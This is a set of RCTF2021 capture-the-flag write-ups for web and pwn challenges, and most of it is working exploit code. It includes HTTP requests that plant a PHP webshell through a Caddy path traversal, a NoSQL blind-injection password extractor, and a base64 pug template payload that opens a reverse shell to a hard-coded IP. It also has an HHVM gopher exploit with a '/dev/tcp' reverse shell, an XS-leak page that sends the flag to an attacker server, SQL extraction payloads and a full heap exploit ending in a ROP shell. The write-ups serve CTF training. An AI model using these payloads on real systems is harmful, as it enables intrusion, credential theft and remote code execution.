RCTF2021
[toc]
How to setup environment
All CHALLENGE ENVIRONMENT CAN BE FINED IN RCTF2021
https://github.com/R0IS/RCTF2021
Web
VerySafe
I learn a funny issue from 2-and-a-bit-of-magic
Caddy before 2.4.2 can path traversal in PHP-FPM
At the same time, I think of MeowWorld in 巅峰极客 and camp-ctf-2015. Great thanks to them, I made a fun challenge.
register_argc_argv is TRUE in default PHP docker configuration and peclcmd.php is in default PHP docker.
Exploit
GET /../usr/local/lib/php/peclcmd.php?+config-create+/tmp/<?=eval($_POST[1]);?>/*+/srv/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
And then
POST /../tmp/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1=system('/readflag');
EasyPHP
After reading index.php we can know that
- Admin can read a file
- Every route need authentication except login in
$request->url
../
in$_GET
,$_POST
,$_COOKIE
,$_SESSION
is not allowed
Read nginx.conf we know that
- URL contains admin only can be accessed by 127.0.0.1
REQUEST_URI
come from$uri
,$uri
is not URL decoded. PHP-FPM receives$uri
and will urldecode it.
Bypass Authentication
Our goal is obviously to bypass authentication to read a file, but within the above message, we can’t do that.
So we need to read the flight framework.
In routing code, we can find an interesting thing that it will pass a URL decoded URL to the route function.
$url_decoded = urldecode( $request->url );
So we can bypass authentication by visit url path like /%2561%2564%256d%2569%256e%3flogin=123
Bypass ../
limitation
But the flag is in /, so we need to bypass the ../
limitation.
The file to read come from "./".$request->query->data
But ../
limitation is working in $_GET
, they may have some little difference.
Read about how $request->query
is built.
It is first assigned value by the following code:
'query' => new Collection($_GET)
class Collection{
public function __construct(array $data = array()) {
$this->data = $data;
}
}
But in init function overwrite query by
public function init(){
...
// Default url
if (empty($this->url)) {
$this->url = '/';
}
// Merge URL query parameters with $_GET
else {
$_GET += self::parseQuery($this->url);
$this->query->setData($_GET);
}
...
}
public static function parseQuery($url) {
$params = array();
$args = parse_url($url);
if (isset($args['query'])) {
parse_str($args['query'], $params);
}
return $params;
}
So it’s time to bypass the limitation of ../
Exploit
GET /%2561%2564%256d%2569%256e%3flogin=123%26data=..%252f..%252f..%252f..%252fflag HTTP/1.1
Host: 127.0.0.1:60080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
CandyShop
The website has register and login, but the newly registered account is not active lol.
static add = async (username, password, active) => {
let user = {
username: username,
password: password,
active: active
}
let client = await connect()
await client.db('test').collection('users').insertOne(user)
}
There is an active account in the database but you don’t know the password.
let users = client.db('test').collection('users')
users.deleteMany(err => {
if (err) {
console.log(err)
} else {
users.insertOne({
username: 'rabbit',
password: process.env.PASSWORD,
active: true
})
}
})
There is a NoSQL injection vulnerability in /login
router.post('/login', async (req, res) => {
let {username, password} = req.body
let rec = await db.Users.find({username: username, password: password})
if (rec) {
if (rec.username === username && rec.password === password) {
res.cookie('token', rec, {signed: true})
res.redirect('/shop')
} else {
res.render('login', {error: 'You Bad Bad >_<'})
}
} else {
res.render('login', {error: 'Login Failed!'})
}
})
So you can use it to get the password.
import requests
from urllib.parse import quote
url = 'http://localhost:3000/user/login'
result = ''
for i in range(1, 233):
ascii_min = 0
ascii_max = 128
while ascii_max - ascii_min > 1:
mid = (ascii_min + ascii_max) // 2
data = 'username=rabbit&password[$lt]=' + quote(result + chr(mid))
r = requests.post(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
if 'Bad' in r.text:
ascii_max = mid
else:
ascii_min = mid
print(ascii_min, ascii_max, mid)
if ascii_min == 0:
break
result += chr(ascii_min)
print(result)
print(result)
After you login, you can control some parts of the template file before it is rendered.
router.post('/order', checkLogin, checkActive, async (req, res) => {
let {username, candyname, address} = req.body
let tpl_path = path.join(__dirname, '../views/confirm.pug')
fs.readFile(tpl_path, (err, result) => {
if (err) {
res.render('error', {error: 'Fail to load template!'})
} else {
let tpl = result
.toString()
.replace('USERNAME', username)
.replace('CANDYNAME', candyname)
.replace('ADDRESS', address)
res.send(pug.render(tpl, options={filename: tpl_path}))
}
})
})
So you can execute arbitrary javascript codes here.
For example, a reverse shell.
2333' evil=function(){eval(atob("dmFyIG5ldD1wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgibmV0Iik7CnZhciBjcD1wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwp2YXIgc2g9Y3Auc3Bhd24oIi9iaW4vc2giLFtdKTsKdmFyIGNsaWVudD1uZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg3Nzc3LCI4LjEzNS4xNS43MyIsKCk9PntjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw=="));}() rua='2333
hiphop
Writeup
- Read
file:///proc/self/cmdline
to get Hiphop command line, found-dhhvm.debugger.vs_debug_enable=1
. - Install Visual Studio Code & HHVM and start debugging.
- Now you can execute any Hacklang in debug console, try hard to bypass
-dhhvm.server.whitelist_exec=true
. - Capture the traffic and convert TCP stream to gopher URL.
Tips
- When you debug the gopher URL, you may find neither PHP 8 nor curl you installed locally can send gopher requests to the HHVM server. That’s because some versions of curl/libcurl cannot handle gopher URL with ‘%00’.
- Hacklang’s
putenv
never call syscallputenv
, it just put the env into itsg_context
, as is you cannot callmail()
/imap_mail()
withLD_PRELOAD
. I checked almost all functions that will callexecve
and onlyproc_open
allows me to set environment variables. - Calling
system
orproc_open
will runsh -c "YOUR_COMMAND"
, even if command ==""
. So no matter what,getuid
inLD_PRELOAD
will always be called. - Some syntax of Hacklang cannot be used in debugging context so just
eval()
it. - Hacklang is very strange from PHP, its doc is bullshit. What’s, even more, annoys me is that even StackOverflow doesn’t discuss it. Good luck to you hackers.
Solution
<?php
function req ($a) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://124.71.132.232:58080/?url=' . urlencode('gopher://127.0.0.1:8999/_' . urlencode($a)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
var_dump(curl_error($ch));
curl_close($ch);
}
$sandbox = '/var/www/html/sandbox/1b5337d0c8ad813197b506146d8d503d/a.so';
$command = 'bash -i >& /dev/tcp/YOURIP/YOURPORT 0>&1';
$ldpreload = './ldpreload/a.so';
req('{"command":"attach","arguments":{"name":"Attach","type":"hhvm","request":"attach","host":"localhost","port":8999,"remoteSiteRoot":"/","localWorkspaceRoot":"/","__configurationTarget":5,"__sessionId":"","sandboxUser":"root"},"type":"request","seq":1}' . "\0" . '{"command":"evaluate","arguments":{"expression":"file_put_contents(\'' . $sandbox . '\',base64_decode(\'' . base64_encode(file_get_contents($ldpreload)) . '\'));eval(base64_decode(\'' . base64_encode('function aa(){$ch=1;proc_open(\'\',dict[],inout $ch,\'\',dict[\'LD_PRELOAD\'=>\'' . $sandbox . '\',\'COMMAND\'=>\'bash -c \\\'' . $command . '\\\'\']);}') . '\'));aa();","context":"repl"},"type":"request","seq":2}' . "\0");
xss_it
Solution 1 XSS in EJS
Bypass EJS restrictions for XSS,EJS has RCE in versions 2.7.2 to 3.1.5 https://www.freebuf.com/articles/web/261607.html, the latest version 3.1.6 tries to fix the problem
but the fix can be bypassed,This tip has been out in hitch 2019 before ,You can refer to the following articles https://262.ecma-international.org/5.1/ .
So finally the payload can be constructed as follows
?asoul={"compileDebug":1,"filename":"aaaa\u2028function%20escapeFn() {alert(__lines)}//","client":false,"jiaran":"a","xiangwan":"b","beila":"c","jiale":"d","nailin":"e"}
Solution 2 XS-leak in EJS
This CTF challenge has very little code, but I set up a user-controllable data insertion into the iframe srcdoc, the reason for this is to make the CTF players think this is for XSS but it’s actually to prepare for this solution,And the title XSS? No! is also a hint to this solution. There is a user-controllable parameter delimiter, which can be specially constructed to match the template so that when the delimiter parameter is used, this feature allows EJS to report an error when the template is matched, and to match the flag in the XS-leak template normally when it is wrong.
Eventually, the following code can be constructed to do the leak
<html>
<body>
<script>
flag = 'RCTF{'
exfil = 'http://vps/?flag=' //your server addr
query = 'http://172.28.1.120/?asoul={%22jiaran%22:%221%22,%22xiangwan%22:%222%22,%22beila%22:%223%22,%22jiale%22:%224%22,%22nailin%22:%225%22,%20%22delimiter%22:%22%=%20jiaran+xiangwan+beila+jiale+nailin%20%%3E'
chars = 'abcdefghijklmnopqrstuvwxyz0123456789<!{}|_'
size = chars.length
function count(i) {
if (window.frames[i].frames.length == 0) {
fetch(exfil + encodeURI(flag + chars.charAt(i) ))
}
}
for (var i=0; i<size; i++) {
var frame = document.createElement('iframe')
frame.setAttribute('src', query + encodeURI(flag + chars.charAt(i)) + "%22}")
frame.setAttribute('onload', `count(${i})`)
document.body.appendChild(frame)
}
</script>
</body>
</html>
Solution 3 Attack chrome
The bot is puppeteer because it is along with the previous CTF challenge forgot to change to the latest version, Bot’s Chrome version is 77 and was played directly by a binary player with Chrome.
ns_shaft_sql
#coding: utf-8
import requests
import base64
url = "http://192.168.233.51:23334/"
php_sessid = "3be7fe291b06ffc2db946bd992e03b66"
php_sessid = 'wdwdwdwdwdwdwdwd'
key = "QXKaMbSr"
payloads = [
f"select bin_to_uuid((select v from s where k='{key}'));",
f"select extractvalue(1,concat(0x7e,(select v from s where k='{key}')));",
f"select updatexml(1,concat(0x7e,(select v from s where k='{key}')),1);",
f"select ST_ASBINARY(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_ASGEOJSON(unhex('0000000001010000000000000000000000000000000000F03F'), 2, (select v from s where k='{key}'));",
f"select ST_ASTEXT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
f"select ST_ASWKB(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
f"select ST_ASWKT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
f"select st_geomcollfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geomcollfromtxt('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select ST_GeomCollFromWKB('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometrycollectionfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometrycollectionfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometryfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometryfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_GEOMFROMGEOJSON('', (select v from s where k='{key}'));",
f"select st_geomfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geomfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT st_latfromgeohash((select concat('a',v) from s where k='{key}'));",
f"select st_linefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_LONGFROMGEOHASH((select concat('-',(select v from s where k='{key}'))));",
f"select st_mlinefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mlinefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpolyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpolyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multilinestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multilinestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipolygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipolygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_POINTFROMGEOHASH((select concat('a',v) from s where k='{key}'), 0);",
f"select st_pointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_pointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select uuid_to_bin((select v from s where k='{key}'));",
f"select v from s where k='{key}' and gtid_subset(v,'a');",
f"select(gtid_subtract((select(v)from(s)where(k)='{key}'),'A'));",
]
def submit_payload(payload):
cookies = {
"PHPSESSID": php_sessid
}
data = {
"sql": base64.b64encode(payload.encode()).decode()
}
print(data['sql'])
res = requests.post(url, data=data, cookies=cookies)
print(res.status_code)
print(res.text)
if "Success" in res.text:
return True
else:
return False
for payload in payloads:
print(f"[+] payload = {payload}")
res = submit_payload(payload)
print(f"[+] res = {res}")
print('*'*20)
if not res:
break
EasySQLi
This is a challenge about how to find the time-consuming function in pre-execution. Generally speaking, when MySQL has no data in the query structure, the statement in ORDER BY will not be executed, but the SQL statement will be preprocessed in MySQL. To optimize some useless statements or determine the type, etc., some expressions can be executed in advance, causing some time consumption and leading to information leakage.
In this challenge, msleep was used to extend the time of each request, and it was necessary for the player to find an attack payload that took longer (with a stable delay of more than 1.5 seconds) to cat the flag.
In addition, 嘉然(Diana) mentioned in the challenge is a member of A-SOUL, a VUP group from China.
Two teams have made different answers to this question. The following is their Payload:
From Nu1L
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
updatexml (1,
IF(
ASCII(SUBSTR((SELECT USER()), 1, 1 )) = 65,
CONCAT(REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('b', 10000000)),
1
),
1
)
)
P.S. This solution can only cause a delay of 0.5s-0.7s, but in the challenge, Nu1L uses a large number of requests at the same time to cause a delay of more than 1 second to be observed.
From Redbud
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
updatexml (1,
concat(
'~',
(
if(
(substr(hex(user()), 1, 1)='A'),
(select length(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex('1')))))))))))))))))))))))))))))))),
'a'
)
),
1
),
1
)
)
As you can see, the two solutions above both use the updatexml
function, but the functions that cause the delay are different. There are related similar payloads:
From f1sh
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
SELECT 1 WHERE(EXTRACTVALUE(CONCAT('<a>', REPEAT('<b>X</b>', IF((ASCII(SUBSTR((SELECT USER()), 1, 1 )) = 65), 5999999, 1)),'</a>'),'//b'))
)
Of course, apart from XML-related, do we have other ways to keep the server busy?
Rely on ReDos
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
SELECT 1 WHERE
IF(
ASCII(SUBSTR(USER(), 1, 1 )) = 65,
REPEAT('a', 100),
'a'
)
RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
)
Rely on JSON_TABLE
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
SELECT
1
FROM
JSON_TABLE (
CONCAT (
'[',
REPEAT(
'1,',
IF(
ASCII(SUBSTR(USER(), 1, 1 )) = 65,
9999999,
1
)
),
'1]'
),
'$[*]'
COLUMNS (
NESTED PATH '$' COLUMNS (r INT PATH '$')
)
)
AS t
)
As you can see, the two answers above both use updatexml. If you are interested in understanding the reasons for the time-consuming, you can try to compile and debug MySQL, these links will be useful to you.
https://github.com/mysql/mysql-server/blob/08f46b3c00ee70e7ed7825daeb91df2289f80f50/sql/item_xmlfunc.cc#L2317
https://github.com/mysql/mysql-server/blob/9ca3270b1fe51a297fb07138da0e6105528ed7ec/sql/sql_resolver.cc#L785
https://github.com/mysql/mysql-server/blob/540d17e85339fbc236757ab30b381d4b02e2b121/sql/item_regexp_func.cc#L101
https://github.com/mysql/mysql-server/blob/a1f679f3f92d51b27f6769073d63b6c1fdcf8424/sql/item_json_func.cc#L154
Pwn
ezheap
Due to my mistake, it led to an unintended solution. emmmmm……
The source code and solution can be found in https://github.com/ruan777/RCTF2021/tree/main/ezheap/src
Here is the structure and macro used in the challange:
#define BYTE_ARRAY 1
#define U16_ARRAY 2
#define U32_ARRAY 3
#define FLOAT_ARRAY 4
#define UNUSD 1
#define USED 2
#define FREED 3
#define LARGEMEM_COUNT 0x10
#define PAGE_COUNT 0x400
#define SIZE2IDX(size) ((size>>2) - 1)
#define MAX_ALLOC_SIZE (128*1024*1024)
#define CHUNK_HEAD_SIZE 0x4
struct Chunk{
struct Page* page_addr; // low 12 bit used to represent chunk's size
struct Chunk* next; // only used in free
};
struct Page{
uint32_t chunk_size;
uint32_t chunk_count;
uint8_t* chunk_addr;
uint32_t free_chunk_count;
struct Chunk* free_list;
struct Page* next_page;
struct Page* prev_page;
struct Mem_manager* memManager;
uint8_t chunk_status[4];
};
struct Mem_manager{
uint32_t size_threshold; // If the size allocated by the user exceeds the threshold, directly using mmap
void* large_mem[LARGEMEM_COUNT];
uint32_t large_size[LARGEMEM_COUNT];
uint8_t large_mem_status[LARGEMEM_COUNT];
struct Page* pages[PAGE_COUNT];
uint8_t page_status[PAGE_COUNT];
};
struct Random{
uint8_t randBytes[0x1008];
uint32_t idx;
uint32_t size;
};
struct Array{
uint32_t element_size;
uint32_t length;
uint8_t* element_addr;
};
The expected vulnerability is in the alloc function of the float array:
case FLOAT_ARRAY:
align_size = ((size + 7u) >> 3u) << 3u; // align to 8
ptr = mem_alloc(size);
if(ptr == NULL){
puts("mem alloc error!");
return;
}
FloatArrays[idx] = mem_alloc(sizeof(struct Array));
FloatArrays[idx]->element_addr = ptr;
FloatArrays[idx]->element_size = sizeof(double);
FloatArrays[idx]->length = align_size / FloatArrays[idx]->element_size;
// FloatArrays[idx]->type = FLOAT_ARRAY;
break;
The length is calculated from the aligned size,and the size of the floatArray is 8-byte aligned, while the heap allocator is 4-byte aligned. So we can overflow 4 bytes when alloc floatArray which size is 4-byte aligned.
However, the lack of strict idx checking causes the edit and show functions to be out of bounds for all types of arrays so that you can use a negative idx to bypass the check. 🙁
Here is my solution step:
- alloc floatArray which size is 0xc to leak page addr which chunk size is 0x10
- alloc floatArray which size is 0xfc leak page addr which chunk size is 0x100
- overwrite the chunk head which size is 0x10 to pointer page addr that leaks by the previous step
- free all the chunks that size is 0x10 and the modified chunk in the previous step will into a page that chunk size is 0x100
- alloc one 0xfc U32Array to fetch it back, now we can overwrite the adjacent Array struct’s element_addr to get arbitrary read and write
- leak stack addr and do rop
exp:
from pwn import *
import struct
# p = process("./ezheap",env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24",20077)
def cmd(c):
p.recvuntil("enter your choice>>")
p.sendline(str(c))
def q2d(value):
return struct.unpack("<d", p64(value))[0]
def d2q(value):
return u64(struct.pack("<d",value))
def pack_double(value):
return struct.pack("<d",value)
def alloc(type,size,idx):
cmd(1)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("size>>")
p.sendline(str(size))
p.recvuntil("idx>>")
p.sendline(str(idx))
def edit(type,idx,element_idx,value):
cmd(2)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("idx>>")
p.sendline(str(idx))
p.recvuntil("element_idx>>")
p.sendline(str(element_idx))
p.recvuntil("value>>")
p.sendline(str(value))
def view(type,idx,element_idx):
cmd(3)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("idx>>")
p.sendline(str(idx))
p.recvuntil("element_idx>>")
p.sendline(str(element_idx))
def dele(type,idx):
cmd(4)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("idx>>")
p.sendline(str(idx))
# leak page which chunk size is 0x10
for i in range(0x100):
alloc(4,0xc,i)
page_10 = 0
page_100 = 0
found_idx = 0
found = False
for i in range(0x100):
view(4,i,1)
p.recvuntil("value>>\n")
value = float(p.recvuntil("\n",drop=True))
if(value != 0.0 and ((d2q(value)>>32) & 0xfff) == 0x10):
page_10 = (d2q(value)>>32) & 0xfffff000
found_idx = i
found = True
break
if(found == False):
info("bad luck!")
exit(0)
found = False
# leak page which chunk size is 0x100
for i in range(0x100):
alloc(4,0xfc,i+0x100)
for i in range(0x100):
view(4,i+0x100,0x1f)
p.recvuntil("value>>\n")
value = float(p.recvuntil("\n",drop=True))
if value != 0.0 and ((d2q(value)>>32) & 0xfff) == 0x100:
page_100 = (d2q(value)>>32) & 0xfffff000
found = True
break
if(found == False):
info("bad luck!")
exit(0)
# leak successful
info("page(chunk size 0x10) addr : " + hex(page_10))
info("page(chunk size 0x100) addr : " + hex(page_100))
# now we overwrite the chunk's head
fake_addr = (page_100 | 0x100) << 32
edit(4,found_idx,1,repr(q2d(fake_addr)))
info("found_idx : " + hex(found_idx))
# free all the chunk that size is 0x10
for i in range(1,0x100):
dele(4,i)
alloc(3,0xc,i)
# now we have a fake chunk that size is 0x100, to fetch it back
alloc(3,252,0)
# modify the next Array struct to gain arbitrary read and write
offset = -1
for i in range(4,0x3f):
view(3,0,i)
p.recvuntil("value>>\n")
value = int(p.recvuntil("\n",drop=True))
if(value == 0x3):
offset = i + 1 # element_addr's offset
break
if(offset == -1):
info("bad luck!")
exit(0)
edit(3,0,offset,(page_10&0xfffff000)+0x4)
# info("page(chunk size 0x10) addr : " + hex(page_10))
info("found offset : " + str(offset))
# info("page(chunk size 0x100) addr : " + hex(page_100))
# info("found_idx : " + hex(found_idx))
# to search the corrupted chunk
found_idx = -1
for i in range(1,0x100):
view(3,i,0)
p.recvuntil("value>>\n")
value = int(p.recvuntil("\n",drop=True))
if(value == 0x400):
found_idx = i
break
if(found_idx == -1):
info("bad luck!")
exit(0)
# new we can arbitrarily read and write
def arb_read(addr):
edit(3,0,offset,addr)
view(3,found_idx,0)
p.recvuntil("value>>\n")
value = int(p.recvuntil("\n",drop=True))
return value
def arb_write(addr,value):
edit(3,0,offset,addr)
edit(3,found_idx,0,value)
manager_addr = arb_read((page_10&0xfffff000)+0x1c)
info("manager addr : " + hex(manager_addr))
elf = ELF("./ezheap",checksec=False)
libc = ELF("./libc-2.27.so",checksec=False)
elf.address = manager_addr - 0x9060
read_addr = arb_read(elf.got["read"])
libc.address = read_addr - 0xe5620
env_addr = libc.sym["environ"]
stack_addr = arb_read(env_addr)
info("libc base : " + hex(libc.address))
info("env_addr : " + hex(env_addr))
# search for main func ret addr
main_ret_in_stack = 0
for i in range(100):
t = arb_read(stack_addr - i * 4)
if t == libc.address + 0x18f21:
main_ret_in_stack = stack_addr - i * 4
break
if main_ret_in_stack == 0:
info("bad luck!")
exit(0)
# do rop
rop_chain = [libc.sym["execve"],0,libc.search("/bin/sh\x00").next(),0,0]
rop_chain_len = len(rop_chain)
for i in range(rop_chain_len):
arb_write(main_ret_in_stack + i * 4,rop_chain[i])
cmd(5)
p.interactive()
game
This is a simple VM in which you can play a simple text-based role-playing game. The game settings are based on a famous MMORPG Final Fantasy 14 and the dragon’s settings are inspired by Bahamut in FF14.
- The registers of the VM are as follows:
static long long r[4]; // Four General Purpose Registers static long long pc = 0;//Instruction Pointer Registers static long long bk = 0;//Data Pointer Registers //Three FLAGS Register static long long zf = 0; static long long gf = 0; static long long lf = 0;
- The instructions of the VM are as follows:
#define ATK '\x01' //Attack
#define CM '\x02' //Cast magic
#define STBF '\x03'//Set Buff
#define LDMHP '\x04'//Load My HP
#define LDEHP '\x06'//Load Enemy's HP
#define CMP '\x08' //Compare
#define JMP '\x09' //Jump
#define JZ '\x0a' //Jump if zero
#define JG '\x0b' //Jump if greater
#define JL '\x0c' //Jump if less
#define LDREG '\x0d' //Load to register
#define ADD '\x10' //Add
#define TALK '\x11' //Talk to enemy(alloc memory and read from user)
#define SLCE '\x12' //Keep Silence(free)
#define DICE '\x13 //Use Dynamis Dice to Change enemy's attack
-
The struct of Player and Boss:
#define WDFLAG 1 << 5 //BUFF FLAG, exemption from any damage for 1 round #define SHJDFLAG 1 << 1 //BUFF FLAG, damage reduction in 1 round typedef struct character { long long hp; long long attack; char buff; char padding[0xa0-1]; } character;
- Skill Description
You can use CM Magic_ID [Magic options] instruction to cast a magic(for example, ‘\x02\x00’ to cast Benediction), the magics you can cast are as follow:
- Benediction: Skill of White Mage. Restores all of a target’s HP.
- Afflatus Solace: Skill of White Mage. Restores target’s HP.
- Despair: Skill of Black Mage. Deals fire damage.
- Super bolide: Skill of Gun Breaker. Reduces HP to 1 and renders you impervious to most attacks. Here you must set the WDFLAG manually.
- Reprisal: Skill of Tanks. Reduces enemies’ damage.
And the BOSS’s skills are as follows:
- Morn Afah: Big party stack dealing massive magic-based damage. Here the damage is 0xffffffff and since your HP maximum is 120000, to deal with it, you must use Super bolide to avoid this attack.
- Exaflare: Spawns a series of AoE circles dealing lethal damage to all players standing inside. Here the damage is 100000, please pay attention to your HP, and it’s better to use Reprisal.
- Flare Breath: Conal cleave dealing very significant magic damage.
- Vulnerability
After round 29, a new enemy will show up, and the BOSS’s struct pointer will be stored in the bk register, when you defeat it, the game will new a character struct, copy the data from bk, and the free the bk, but will not clear bk, so you can double-free this struct.
if(stny->hp <= 0) { character * tmp = bk; BH = calloc(1,sizeof(character)); BH->hp = tmp->hp; BH->attack = tmp->attack; free(stny); stny = 0; free(bk);//bk was not set to 0 puts("The follower is down,and the angry dragon came back with Exaflare!"); return Exaflare(); }
You can use Dynamis Dice to change the tcache cookie to bypass the double-free check of tcache.
case DICE: { long long newatk = rand()%20000; BH->attack = newatk; if(bk) ((character *)bk)->attack = rand()%20000; printf("You used Dynamis Dice and the dragon's attack changed to %d\n",newatk); break; }
The most troublesome thing is to leak, when fighting with the follower, you can free the bk to unsorted bin, and malloc(1) to get it back. After defeating the follower, the HP of BOSS(copy from bk) will be arena_address, and then you can use LDEHP CMP JZ/JG/JL instructions to leak the HP value.
-
Exploit
